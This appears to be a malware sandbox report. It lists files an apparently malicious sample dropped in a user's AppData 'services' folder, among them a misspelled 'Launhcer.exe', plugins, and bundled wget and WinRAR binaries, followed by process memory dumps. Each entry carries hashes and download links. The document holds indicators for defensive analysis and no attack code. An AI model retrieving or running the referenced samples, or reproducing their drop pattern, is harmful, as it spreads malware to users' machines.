3d42a95de858de974d5dad1cbc7e87ed

SHA1
230e157d35007fbf594243e93fa2bf84982c5c46

SHA256
47a98e0d3ba207cf0afeef5d9d04c893dbe5bfb6e0c5537fa583bdb67c915010

SHA512
500072e9c94a92e23b9f24785c8218d35224422a4d2fbeb2ac273a3ef6957a93b73b8716297bdbbab8334ba5fb1700415c50d39b6be45ae9dd467dbebe9b4974

Download Submit
C:\Users\Admin\AppData\Roaming\services\3plugin13200

Filesize
429KB

MD5
233ea23b1c1587f1cf895f08ba6da10b

SHA1
e2b5131d03aa3bc56a004ba6debc6d57322e0691

SHA256
c7e20eafa32a38282616d78c43c574991d30fe2fbc876141fa76e5ff538c3b5c

SHA512
4f1d72732e8ea42665b325060b1dcbe8bd47b7fb78ba9e9be9d5da8c9be97206bce8b9fd319a95cd9514fa2ff58eb9194068bde09af4bef0e6d3435562e647a9

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.dll

Filesize
2KB

MD5
7de0541eb96ba31067b4c58d9399693b

SHA1
a105216391bd53fa0c8f6aa23953030d0c0f9244

SHA256
934f75c8443d6379abdc380477a87ef6531d0429de8d8f31cd6b62f55a978f6e

SHA512
e5ffa3bfd19b4d69c8b4db0aabaf835810b8b8cccd7bc400c7ba90ef5f5ebd745c2619c9a3e83aa6b628d9cf765510c471a2ff8cb6aa5ad4cf3f7826f6ae84a3

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.exe

Filesize
364KB

MD5
e5c00b0bc45281666afd14eef04252b2

SHA1
3b6eecf8250e88169976a5f866d15c60ee66b758

SHA256
542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

SHA512
2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.exe.manifest

Filesize
1KB

MD5
f0fc065f7fd974b42093594a58a4baef

SHA1
dbf28dd15d4aa338014c9e508a880e893c548d00

SHA256
d6e1c130f3c31258b4f6ff2e5d67bb838b65281af397a11d7eb35a7313993693

SHA512
8bd26de4f9b8e7b6fe9c42f44b548121d033f27272f1da4c340f81aa5642adc17bb9b092ece12bb8515460b9c432bf3b3b7b70f87d4beb6c491d3d0dfb5b71fe

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.dll

Filesize
6KB

MD5
a37d6bd996505a42c3f29d0ed54b9ae7

SHA1
36759677d2e52e9b75b6a6b14f4f03b0dc1b0e79

SHA256
606f3b07ef6896fd75f51bd1ca1af4ed8075b22f9ca1cf8b1a0bf5bfc6d3074a

SHA512
8a8fa253062bac723dc7cffbff199fa78f7b6975019bfbdf11372711b58f0b8d1dbe1ff574280343abf290d99210c2feb8a691d1504a11d4bd934eaaa47fd149

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe

Filesize
364KB

MD5
93fde4e38a84c83af842f73b176ab8dc

SHA1
e8c55cc160a0a94e404f544b22e38511b9d71da8

SHA256
fb07af2aead3bdf360f555fc872191e43c2f0acbfc9258435f9a30afe272ba03

SHA512
48720aebe2158b8a58fc3431c2e6f68271fbade51303ad9cb5b0493efaec6053ff0c19a898841ef7c57a3c4d042ac8e7157fb3dc79593c1dfcdcf88e1469fdec

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe.manifest

Filesize
1KB

MD5
1b6de83d3f1ccabf195a98a2972c366a

SHA1
09f03658306c4078b75fa648d763df9cddd62f23

SHA256
e20486518d09caf6778ed0d60aab51bb3c8b1a498fd4ede3c238ee1823676724

SHA512
e171a7f2431cfe0d3dfbd73e6ea0fc9bd3e5efefc1fbdeff517f74b9d78679913c4a60c57dde75e4a605c288bc2b87b9bb54b0532e67758dfb4a2ac8aea440ce

Download Submit
C:\Users\Admin\AppData\Roaming\services\plugin31849

Filesize
459KB

MD5
5d5483b1ef3cfe2abaebcdaeace7da21

SHA1
6915c04741b3e4380577e497527ad15fc3108495

SHA256
ff7a3b83cf95c7c27b59c4db9de3f7b67c5d2909c4d72d46299654c108738ebd

SHA512
1ea901be644aac5649cf658510e2e4e88da26e4086d876ab3fc88bed25a4d8ab290077fe373757827c395398f0c9022c253ea7b87c71691d6fb5deab9ac24dfe

Download Submit
C:\Users\Admin\AppData\Roaming\services\wget.exe

Filesize
4.9MB

MD5
8c04808e4ba12cb793cf661fbbf6c2a0

SHA1
bdfdb50c5f251628c332042f85e8dd8cf5f650e3

SHA256
a7b656fb7a45f8980784b90b40f4a14d035b9dc15616465a341043736ec53272

SHA512
9619f96c3180ef3d738ecc1f5df7508c3ff8904021065665c8388a484648e135105e1c1585de1577c8b158f9b5bc241e3ff7f92665e9553e846e1b750ddea20f

Download Submit
C:\Users\Admin\AppData\Roaming\services\winrar.exe

Filesize
2.1MB

MD5
f59f4f7bea12dd7c8d44f0a717c21c8e

SHA1
17629ccb3bd555b72a4432876145707613100b3e

SHA256
f150b01c1cbc540c880dc00d812bcca1a8abe1166233227d621408f3e75b57d4

SHA512
44811f9a5f2917ccd56a7f894157fa305b749ca04903eeaeca493864742e459e0ce640c01c804c266283ce8c3e147c8e6b6cfd6c5cb717e2a374e92c32a63b2c

Download Submit
memory/728-72-0x0000000007670000-0x000000000768A000-memory.dmp

Filesize
104KB

Download
memory/728-73-0x0000000007660000-0x0000000007668000-memory.dmp

Filesize
32KB

Download
memory/728-71-0x0000000007630000-0x0000000007645000-memory.dmp

Filesize
84KB

Download
memory/728-55-0x0000000006660000-0x0000000006694000-memory.dmp

Filesize
208KB

Download
memory/728-56-0x00000000702C0000-0x000000007030C000-memory.dmp

Filesize
304KB

Download
memory/728-65-0x0000000007250000-0x000000000726E000-memory.dmp

Filesize
120KB

Download
memory/728-66-0x0000000007270000-0x0000000007314000-memory.dmp

Filesize
656KB

Download
memory/728-67-0x0000000007A20000-0x000000000809A000-memory.dmp

Filesize
6.5MB

Download
memory/728-68-0x0000000007460000-0x000000000746A000-memory.dmp

Filesize
40KB

Download
memory/728-69-0x00000000075E0000-0x00000000075F1000-memory.dmp

Filesize
68KB

Download
memory/728-70-0x0000000007620000-0x000000000762E000-memory.dmp

Filesize
56KB

Download
memory/936-149-0x0000000000400000-0x0000000002853000-memory.dmp

Filesize
36.3MB

Download
memory/1012-222-0x000002289B5A0000-0x000002289B5C0000-memory.dmp

Filesize
128KB

Download
memory/1012-225-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1012-227-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1012-215-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1012-217-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1012-220-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1012-223-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1012-224-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1012-226-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1012-216-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1012-219-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1012-221-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1012-218-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1512-99-0x0000000077950000-0x0000000077BA2000-memory.dmp

Filesize
2.3MB

Download
memory/1512-97-0x00007FFC39F60000-0x00007FFC3A169000-memory.dmp

Filesize
2.0MB

Download
memory/1512-96-0x00000000057A0000-0x0000000005BA0000-memory.dmp

Filesize
4.0MB

Download
memory/1512-95-0x00000000057A0000-0x0000000005BA0000-memory.dmp

Filesize
4.0MB

Download
memory/1512-106-0x0000000000400000-0x000000000285C000-memory.dmp

Filesize
36.4MB

Download
memory/1832-80-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/2292-109-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/2584-151-0x0000000000400000-0x0000000002853000-memory.dmp

Filesize
36.3MB

Download
memory/2692-126-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/3972-203-0x000001AD69290000-0x000001AD692AA000-memory.dmp

Filesize
104KB

Download
memory/3972-200-0x000001AD69040000-0x000001AD6905C000-memory.dmp

Filesize
112KB

Download
memory/3972-201-0x000001AD69060000-0x000001AD69113000-memory.dmp

Filesize
716KB

Download
memory/3972-202-0x000001AD69220000-0x000001AD6922A000-memory.dmp

Filesize
40KB

Download
memory/3972-204-0x000001AD69270000-0x000001AD69276000-memory.dmp

Filesize
24KB

Download
memory/4284-174-0x000001E96C170000-0x000001E96C17A000-memory.dmp

Filesize
40KB

Download
memory/4284-173-0x000001E96C140000-0x000001E96C148000-memory.dmp

Filesize
32KB

Download
memory/4284-152-0x000001E96BE80000-0x000001E96BEA2000-memory.dmp

Filesize
136KB

Download
memory/4284-171-0x000001E96C150000-0x000001E96C16C000-memory.dmp

Filesize
112KB

Download
memory/4284-172-0x000001E96C130000-0x000001E96C13A000-memory.dmp

Filesize
40KB

Download
memory/4692-100-0x00000000005D0000-0x00000000005D9000-memory.dmp

Filesize
36KB

Download
memory/4692-102-0x0000000002560000-0x0000000002960000-memory.dmp

Filesize
4.0MB

Download
memory/4692-105-0x0000000077950000-0x0000000077BA2000-memory.dmp

Filesize
2.3MB

Download
memory/4692-103-0x00007FFC39F60000-0x00007FFC3A169000-memory.dmp

Filesize
2.0MB

Download
memory/4724-182-0x0000000140000000-0x0000000140E40000-memory.dmp

Filesize
14.2MB

Download
memory/4776-211-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4776-214-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4776-207-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4776-208-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4776-209-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4776-210-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/4836-123-0x0000000140000000-0x0000000140E40000-memory.dmp

Filesize
14.2MB

Download
memory/4836-120-0x00007FFC3A170000-0x00007FFC3A172000-memory.dmp

Filesize
8KB

Download
memory/4836-121-0x00007FFC3A180000-0x00007FFC3A182000-memory.dmp

Filesize
8KB

Download
memory/4932-41-0x0000000006860000-0x0000000006882000-memory.dmp

Filesize
136KB

Download
memory/4932-25-0x0000000073840000-0x0000000073FF1000-memory.dmp

Filesize
7.7MB

Download
memory/4932-110-0x0000000073840000-0x0000000073FF1000-memory.dmp

Filesize
7.7MB

Download
memory/4932-42-0x0000000007B60000-0x0000000008106000-memory.dmp

Filesize
5.6MB

Download
memory/4932-88-0x000000007384E000-0x000000007384F000-memory.dmp

Filesize
4KB

Download
memory/4932-39-0x00000000072C0000-0x0000000007356000-memory.dmp

Filesize
600KB

Download
memory/4932-38-0x0000000006310000-0x000000000635C000-memory.dmp

Filesize
304KB

Download
memory/4932-37-0x00000000062E0000-0x00000000062FE000-memory.dmp

Filesize
120KB

Download
memory/4932-36-0x0000000005E10000-0x0000000006167000-memory.dmp

Filesize
3.3MB

Download
memory/4932-40-0x0000000006810000-0x000000000682A000-memory.dmp

Filesize
104KB

Download
memory/4932-26-0x0000000005D30000-0x0000000005D96000-memory.dmp

Filesize
408KB

Download
memory/4932-27-0x0000000005DA0000-0x0000000005E06000-memory.dmp

Filesize
408KB

Download
memory/4932-24-0x0000000005450000-0x0000000005472000-memory.dmp

Filesize
136KB

Download
memory/4932-89-0x0000000073840000-0x0000000073FF1000-memory.dmp

Filesize
7.7MB

Download
memory/4932-22-0x0000000005650000-0x0000000005C7A000-memory.dmp

Filesize
6.2MB

Download
memory/4932-23-0x0000000073840000-0x0000000073FF1000-memory.dmp

Filesize
7.7MB

Download
memory/4932-21-0x0000000002AE0000-0x0000000002B16000-memory.dmp

Filesize
216KB

Download
memory/4932-20-0x000000007384E000-0x000000007384F000-memory.dmp

Filesize
4KB

Download